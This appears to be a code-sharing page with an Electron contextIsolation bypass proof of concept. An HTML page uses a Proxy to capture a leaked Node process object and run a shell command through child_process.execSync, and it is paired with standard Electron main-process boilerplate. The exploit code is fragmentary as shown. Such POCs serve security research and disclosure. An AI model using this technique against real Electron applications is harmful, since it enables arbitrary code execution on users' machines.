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Last active May 10, 2021 09:47
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Electron contextIsolation POC
<!DOCTYPE html>
var proc = false; new Proxy(, {
apply: function(target, thisArg, argumentsList) {
proc = argumentsList.find(function(element) { // check all arguments for process
return element;
if(proc){ // this is probably a process ref
if(proc.platform === "win32"){
proc.mainModule.require('child_process').execSync('open /Applications/');
var ret = Reflect.apply(target, thisArg, argumentsList);
return ret
<a href="#" onclick="location.href='about:blank';"><h1>Click</h1></a>
// Modules to control application life and create native browser window
const {app, BrowserWindow} = require('electron')
// Keep a global reference of the window object, if you don't, the window will
// be closed automatically when the JavaScript object is garbage collected.
let mainWindow
function createWindow () {
// Create the browser window.
mainWindow = new BrowserWindow(
width: 800,
height: 600,
"webPreferences": {
//"preload": `${__dirname}/renderer.js`,
"nodeIntegration": false,
"nativeWindowOpen": true
// and load the index.html of the app.
mainWindow.loadURL(`file://${__dirname}/index.html`);// this could be remote content
// Open the DevTools.
// mainWindow.webContents.openDevTools()
// Emitted when the window is closed.
mainWindow.on('closed', function () {
// Dereference the window object, usually you would store windows
// in an array if your app supports multi windows, this is the time
// when you should delete the corresponding element.
mainWindow = null
// This method will be called when Electron has finished
// initialization and is ready to create browser windows.
// Some APIs can only be used after this event occurs.
app.on('ready', createWindow)
// Quit when all windows are closed.
app.on('window-all-closed', function () {
// On OS X it is common for applications and their menu bar
// to stay active until the user quits explicitly with Cmd + Q
if (process.platform !== 'darwin') {
app.on('activate', function () {
// On OS X it's common to re-create a window in the app when the
// dock icon is clicked and there are no other windows open.
if (mainWindow === null) {
// In this file you can include the rest of your app's specific main process
// code. You can also put them in separate files and require them here.
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